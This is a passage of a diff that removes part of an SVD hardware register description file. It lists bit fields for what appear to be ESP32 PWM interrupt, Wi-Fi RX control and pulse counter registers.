-              <name>FAULT2_INT_ST</name>
-              <bitOffset>11</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>FAULT0_CLR_INT_ST</name>
-              <bitOffset>12</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>FAULT1_CLR_INT_ST</name>
-              <bitOffset>13</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>FAULT2_CLR_INT_ST</name>
-              <bitOffset>14</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>OP0_TEA_INT_ST</name>
-              <bitOffset>15</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>OP1_TEA_INT_ST</name>
-              <bitOffset>16</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>OP2_TEA_INT_ST</name>
-              <bitOffset>17</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>OP0_TEB_INT_ST</name>
-              <bitOffset>18</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>OP1_TEB_INT_ST</name>
-              <bitOffset>19</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>OP2_TEB_INT_ST</name>
-              <bitOffset>20</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>FH0_CBC_INT_ST</name>
-              <bitOffset>21</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>FH1_CBC_INT_ST</name>
-              <bitOffset>22</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>FH2_CBC_INT_ST</name>
-              <bitOffset>23</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>FH0_OST_INT_ST</name>
-              <bitOffset>24</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>FH1_OST_INT_ST</name>
-              <bitOffset>25</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>FH2_OST_INT_ST</name>
-              <bitOffset>26</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>CAP0_INT_ST</name>
-              <bitOffset>27</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>CAP1_INT_ST</name>
-              <bitOffset>28</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>CAP2_INT_ST</name>
-              <bitOffset>29</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>INT_CLR</name>
-          <addressOffset>0x11C</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>TIMER0_STOP_INT_CLR</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>TIMER1_STOP_INT_CLR</name>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>TIMER2_STOP_INT_CLR</name>
-              <bitOffset>2</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>TIMER0_TEZ_INT_CLR</name>
-              <bitOffset>3</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>TIMER1_TEZ_INT_CLR</name>
-              <bitOffset>4</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>TIMER2_TEZ_INT_CLR</name>
-              <bitOffset>5</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>TIMER0_TEP_INT_CLR</name>
-              <bitOffset>6</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>TIMER1_TEP_INT_CLR</name>
-              <bitOffset>7</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>TIMER2_TEP_INT_CLR</name>
-              <bitOffset>8</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>FAULT0_INT_CLR</name>
-              <bitOffset>9</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>FAULT1_INT_CLR</name>
-              <bitOffset>10</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>FAULT2_INT_CLR</name>
-              <bitOffset>11</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>FAULT0_CLR_INT_CLR</name>
-              <bitOffset>12</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>FAULT1_CLR_INT_CLR</name>
-              <bitOffset>13</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>FAULT2_CLR_INT_CLR</name>
-              <bitOffset>14</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>OP0_TEA_INT_CLR</name>
-              <bitOffset>15</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>OP1_TEA_INT_CLR</name>
-              <bitOffset>16</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>OP2_TEA_INT_CLR</name>
-              <bitOffset>17</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>OP0_TEB_INT_CLR</name>
-              <bitOffset>18</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>OP1_TEB_INT_CLR</name>
-              <bitOffset>19</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>OP2_TEB_INT_CLR</name>
-              <bitOffset>20</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>FH0_CBC_INT_CLR</name>
-              <bitOffset>21</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>FH1_CBC_INT_CLR</name>
-              <bitOffset>22</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>FH2_CBC_INT_CLR</name>
-              <bitOffset>23</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>FH0_OST_INT_CLR</name>
-              <bitOffset>24</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>FH1_OST_INT_CLR</name>
-              <bitOffset>25</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>FH2_OST_INT_CLR</name>
-              <bitOffset>26</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>CAP0_INT_CLR</name>
-              <bitOffset>27</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>CAP1_INT_CLR</name>
-              <bitOffset>28</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>CAP2_INT_CLR</name>
-              <bitOffset>29</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>CLK</name>
-          <addressOffset>0x120</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>EN</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>VERSION</name>
-          <addressOffset>0x124</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x02107230</resetValue>
-          <fields>
-            <field>
-              <name>DATE</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>28</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-      </registers>
-    </peripheral>
-    <peripheral derivedFrom="PWM0">
-      <name>PWM1</name>
-      <description>Motor Control Pulse-Width Modulation</description>
-      <baseAddress>0x3FF6C000</baseAddress>
-      <interrupt>
-        <name>PWM1</name>
-        <value>40</value>
-      </interrupt>
-    </peripheral>
-    <peripheral>
-      <name>NRX</name>
-      <description>Peripheral NRX</description>
-      <groupName>NRX</groupName>
-      <baseAddress>0x3FF5CC00</baseAddress>
-      <addressBlock>
-        <offset>0x0</offset>
-        <size>0x4</size>
-        <usage>registers</usage>
-      </addressBlock>
-      <registers>
-        <register>
-          <name>NRXPD_CTRL</name>
-          <description>WiFi RX control register</description>
-          <addressOffset>0xD4</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>DEMAP_FORCE_PD</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DEMAP_FORCE_PU</name>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>VIT_FORCE_PD</name>
-              <bitOffset>2</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>VIT_FORCE_PU</name>
-              <bitOffset>3</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>RX_ROT_FORCE_PD</name>
-              <bitOffset>4</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>RX_ROT_FORCE_PU</name>
-              <bitOffset>5</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CHAN_EST_FORCE_PD</name>
-              <bitOffset>6</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CHAN_EST_FORCE_PU</name>
-              <bitOffset>7</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-      </registers>
-    </peripheral>
-    <peripheral>
-      <name>PCNT</name>
-      <description>Pulse Count Controller</description>
-      <groupName>PCNT</groupName>
-      <baseAddress>0x3FF57000</baseAddress>
-      <addressBlock>
-        <offset>0x0</offset>
-        <size>0xB8</size>
-        <usage>registers</usage>
-      </addressBlock>
-      <interrupt>
-        <name>PCNT</name>
-        <value>48</value>
-      </interrupt>
-      <registers>
-        <register>
-          <name>U0_CONF0</name>
-          <addressOffset>0x0</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00003C10</resetValue>
-          <fields>
-            <field>
-              <name>FILTER_THRES_U0</name>
-              <description>This register is used to filter pluse whose width is smaller than this value for unit0.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>10</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FILTER_EN_U0</name>
-              <description>This is the enable bit for filtering input signals for unit0.</description>
-              <bitOffset>10</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>THR_ZERO_EN_U0</name>
-              <description>This is the enable bit for comparing unit0's count with 0 value.</description>
-              <bitOffset>11</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>THR_H_LIM_EN_U0</name>
-              <description>This is the enable bit for  comparing unit0's count with thr_h_lim value.</description>
-              <bitOffset>12</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>THR_L_LIM_EN_U0</name>
-              <description>This is the enable bit for comparing unit0's count with thr_l_lim  value.</description>
-              <bitOffset>13</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>THR_THRES0_EN_U0</name>
-              <description>This is the enable bit for comparing unit0's count with  thres0 value.</description>
-              <bitOffset>14</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>THR_THRES1_EN_U0</name>
-              <description>This is the enable bit for  comparing  unit0's count with thres1 value .</description>
-              <bitOffset>15</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CH0_NEG_MODE_U0</name>
-              <description>This register is used to control the mode of channel0's input negedge signal for unit0. 2'd1: increase at the negedge of input signal    2'd2:decrease at the negedge of input signal    others:forbidden</description>
-              <bitOffset>16</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CH0_POS_MODE_U0</name>
-              <description>This register is used to control the mode of channel0's input posedge signal for unit0. 2'd1: increase at the posedge of input signal    2'd2:decrease at the posedge of input signal    others:forbidden</description>
-              <bitOffset>18</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CH0_HCTRL_MODE_U0</name>
-              <description>This register is used to control the mode of channel0's high control signal for unit0. 2'd0:increase when control signal is low   2'd1: decrease when control signal is high   others:forbidden</description>
-              <bitOffset>20</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CH0_LCTRL_MODE_U0</name>
-              <description>This register is used to control the mode of channel0's low control signal for unit0. 2'd0:increase when control signal is low   2'd1: decrease when control signal is high   others:forbidden</description>
-              <bitOffset>22</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CH1_NEG_MODE_U0</name>
-              <description>This register is used to control the mode of channel1's input negedge signal for unit0. 2'd1: increase at the negedge of input signal    2'd2:decrease at the negedge of input signal    others:forbidden</description>
-              <bitOffset>24</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CH1_POS_MODE_U0</name>
-              <description>This register is used to control the mode of channel1's input posedge signal for unit0. 2'd1: increase at the posedge of input signal    2'd2:decrease at the posedge of input signal    others:forbidden</description>
-              <bitOffset>26</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CH1_HCTRL_MODE_U0</name>
-              <description>This register is used to control the mode of channel1's high control signal for unit0. 2'd0:increase when control signal is low   2'd1: decrease when control signal is high   others:forbidden</description>
-              <bitOffset>28</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CH1_LCTRL_MODE_U0</name>
-              <description>This register is used to control the mode of channel1's low control signal for unit0. 2'd0:increase when control signal is low   2'd1: decrease when control signal is high   others:forbidden</description>
-              <bitOffset>30</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>U0_CONF1</name>
-          <addressOffset>0x4</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>CNT_THRES0_U0</name>
-              <description>This register is used to configure thres0 value for unit0.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>16</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CNT_THRES1_U0</name>
-              <description>This register is used to configure  thres1 value for unit0.</description>
-              <bitOffset>16</bitOffset>
-              <bitWidth>16</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>U0_CONF2</name>
-          <addressOffset>0x8</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>CNT_H_LIM_U0</name>
-              <description>This register is used to configure thr_h_lim value for unit0.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>16</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CNT_L_LIM_U0</name>
-              <description>This register is used to confiugre thr_l_lim value for unit0.</description>
-              <bitOffset>16</bitOffset>
-              <bitWidth>16</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>U1_CONF0</name>
-          <addressOffset>0xC</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00003C10</resetValue>
-          <fields>
-            <field>
-              <name>FILTER_THRES_U1</name>
-              <description>This register is used to filter pluse whose width is smaller than this value for unit1.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>10</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FILTER_EN_U1</name>
-              <description>This is the enable bit for filtering input signals for unit1.</description>
-              <bitOffset>10</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>THR_ZERO_EN_U1</name>
-              <description>This is the enable bit for comparing unit1's count with 0 value.</description>
-              <bitOffset>11</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>THR_H_LIM_EN_U1</name>
-              <description>This is the enable bit for  comparing unit1's count with thr_h_lim value.</description>
-              <bitOffset>12</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>THR_L_LIM_EN_U1</name>
-              <description>This is the enable bit for comparing unit1's count with thr_l_lim  value.</description>
-              <bitOffset>13</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>THR_THRES0_EN_U1</name>
-              <description>This is the enable bit for comparing unit1's count with  thres0 value.</description>
-              <bitOffset>14</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>THR_THRES1_EN_U1</name>
-              <description>This is the enable bit for  comparing  unit1's count with thres1 value .</description>
-              <bitOffset>15</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CH0_NEG_MODE_U1</name>
-              <description>This register is used to control the mode of channel0's input negedge signal for unit1. 2'd1: increase at the negedge of input signal    2'd2:decrease at the negedge of input signal    others:forbidden</description>
-              <bitOffset>16</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CH0_POS_MODE_U1</name>
-              <description>This register is used to control the mode of channel0's input posedge signal for unit1. 2'd1: increase at the posedge of input signal    2'd2:decrease at the posedge of input signal    others:forbidden</description>
-              <bitOffset>18</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CH0_HCTRL_MODE_U1</name>
-              <description>This register is used to control the mode of channel0's high control signal for unit1. 2'd0:increase when control signal is low   2'd1: decrease when control signal is high   others:forbidden</description>
-              <bitOffset>20</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CH0_LCTRL_MODE_U1</name>
-              <description>This register is used to control the mode of channel0's low control signal for unit1. 2'd0:increase when control signal is low   2'd1: decrease when control signal is high   others:forbidden</description>
-              <bitOffset>22</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CH1_NEG_MODE_U1</name>
-              <description>This register is used to control the mode of channel1's input negedge signal for unit1. 2'd1: increase at the negedge of input signal    2'd2:decrease at the negedge of input signal    others:forbidden</description>
-              <bitOffset>24</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CH1_POS_MODE_U1</name>
-              <description>This register is used to control the mode of channel1's input posedge signal for unit1. 2'd1: increase at the posedge of input signal    2'd2:decrease at the posedge of input signal    others:forbidden</description>
-              <bitOffset>26</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CH1_HCTRL_MODE_U1</name>
-              <description>This register is used to control the mode of channel1's high control signal for unit1. 2'd0:increase when control signal is low   2'd1: decrease when control signal is high   others:forbidden</description>
-              <bitOffset>28</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CH1_LCTRL_MODE_U1</name>
-              <description>This register is used to control the mode of channel1's low control signal for unit1. 2'd0:increase when control signal is low   2'd1: decrease when control signal is high   others:forbidden</description>
-              <bitOffset>30</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>U1_CONF1</name>
-          <addressOffset>0x10</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>CNT_THRES0_U1</name>
-              <description>This register is used to configure thres0 value for unit1.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>16</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CNT_THRES1_U1</name>
-              <description>This register is used to configure  thres1 value for unit1.</description>
-              <bitOffset>16</bitOffset>
-              <bitWidth>16</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>U1_CONF2</name>
-          <addressOffset>0x14</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>CNT_H_LIM_U1</name>
-              <description>This register is used to configure thr_h_lim value for unit1.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>16</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CNT_L_LIM_U1</name>
-              <description>This register is used to confiugre thr_l_lim value for unit1.</description>
-              <bitOffset>16</bitOffset>
-              <bitWidth>16</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>U2_CONF0</name>
-          <addressOffset>0x18</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00003C10</resetValue>
-          <fields>
-            <field>
-              <name>FILTER_THRES_U2</name>
-              <description>This register is used to filter pluse whose width is smaller than this value for unit2.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>10</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FILTER_EN_U2</name>
-              <description>This is the enable bit for filtering input signals for unit2.</description>
-              <bitOffset>10</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>THR_ZERO_EN_U2</name>
-              <description>This is the enable bit for comparing unit2's count with 0 value.</description>
-              <bitOffset>11</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>THR_H_LIM_EN_U2</name>
-              <description>This is the enable bit for  comparing unit2's count with thr_h_lim value.</description>
-              <bitOffset>12</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>THR_L_LIM_EN_U2</name>
-              <description>This is the enable bit for comparing unit2's count with thr_l_lim  value.</description>
-              <bitOffset>13</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>THR_THRES0_EN_U2</name>
-              <description>This is the enable bit for comparing unit2's count with  thres0 value.</description>
-              <bitOffset>14</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>THR_THRES1_EN_U2</name>
-              <description>This is the enable bit for  comparing  unit2's count with thres1 value .</description>
-              <bitOffset>15</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CH0_NEG_MODE_U2</name>
-              <description>This register is used to control the mode of channel0's input negedge signal for unit2. 2'd1: increase at the negedge of input signal    2'd2:decrease at the negedge of input signal    others:forbidden</description>
-              <bitOffset>16</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CH0_POS_MODE_U2</name>
-              <description>This register is used to control the mode of channel0's input posedge signal for unit2. 2'd1: increase at the posedge of input signal    2'd2:decrease at the posedge of input signal    others:forbidden</description>
-              <bitOffset>18</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CH0_HCTRL_MODE_U2</name>
-              <description>This register is used to control the mode of channel0's high control signal for unit2. 2'd0:increase when control signal is low   2'd1: decrease when control signal is high   others:forbidden</description>
-              <bitOffset>20</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CH0_LCTRL_MODE_U2</name>
-              <description>This register is used to control the mode of channel0's low control signal for unit2. 2'd0:increase when control signal is low   2'd1: decrease when control signal is high   others:forbidden</description>
-              <bitOffset>22</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CH1_NEG_MODE_U2</name>
-              <description>This register is used to control the mode of channel1's input negedge signal for unit2. 2'd1: increase at the negedge of input signal    2'd2:decrease at the negedge of input signal    others:forbidden</description>
-              <bitOffset>24</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CH1_POS_MODE_U2</name>
-              <description>This register is used to control the mode of channel1's input posedge signal for unit2. 2'd1: increase at the posedge of input signal    2'd2:decrease at the posedge of input signal    others:forbidden</description>
-              <bitOffset>26</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CH1_HCTRL_MODE_U2</name>
-              <description>This register is used to control the mode of channel1's high control signal for unit2. 2'd0:increase when control signal is low   2'd1: decrease when control signal is high   others:forbidden</description>
-              <bitOffset>28</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CH1_LCTRL_MODE_U2</name>
-              <description>This register is used to control the mode of channel1's low control signal for unit2. 2'd0:increase when control signal is low   2'd1: decrease when control signal is high   others:forbidden</description>
-              <bitOffset>30</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>U2_CONF1</name>
-          <addressOffset>0x1C</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>CNT_THRES0_U2</name>
-              <description>This register is used to configure thres0 value for unit2.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>16</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CNT_THRES1_U2</name>
-              <description>This register is used to configure  thres1 value for unit2.</description>
-              <bitOffset>16</bitOffset>
-              <bitWidth>16</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>U2_CONF2</name>
-          <addressOffset>0x20</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>CNT_H_LIM_U2</name>
-              <description>This register is used to configure thr_h_lim value for unit2.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>16</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CNT_L_LIM_U2</name>
-              <description>This register is used to confiugre thr_l_lim value for unit2.</description>
-              <bitOffset>16</bitOffset>
-              <bitWidth>16</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>U3_CONF0</name>
-          <addressOffset>0x24</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00003C10</resetValue>
-          <fields>
-            <field>
-              <name>FILTER_THRES_U3</name>
-              <description>This register is used to filter pluse whose width is smaller than this value for unit3.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>10</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FILTER_EN_U3</name>
-              <description>This is the enable bit for filtering input signals for unit3.</description>
-              <bitOffset>10</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>THR_ZERO_EN_U3</name>
-              <description>This is the enable bit for comparing unit3's count with 0 value.</description>
-              <bitOffset>11</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>THR_H_LIM_EN_U3</name>
-              <description>This is the enable bit for  comparing unit3's count with thr_h_lim value.</description>
-              <bitOffset>12</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>THR_L_LIM_EN_U3</name>
-              <description>This is the enable bit for comparing unit3's count with thr_l_lim  value.</description>
-              <bitOffset>13</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>THR_THRES0_EN_U3</name>
-              <description>This is the enable bit for comparing unit3's count with  thres0 value.</description>
-              <bitOffset>14</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>THR_THRES1_EN_U3</name>
-              <description>This is the enable bit for  comparing  unit3's count with thres1 value .</description>
-              <bitOffset>15</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CH0_NEG_MODE_U3</name>
-              <description>This register is used to control the mode of channel0's input negedge signal for unit3. 2'd1: increase at the negedge of input signal    2'd2:decrease at the negedge of input signal    others:forbidden</description>
-              <bitOffset>16</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CH0_POS_MODE_U3</name>
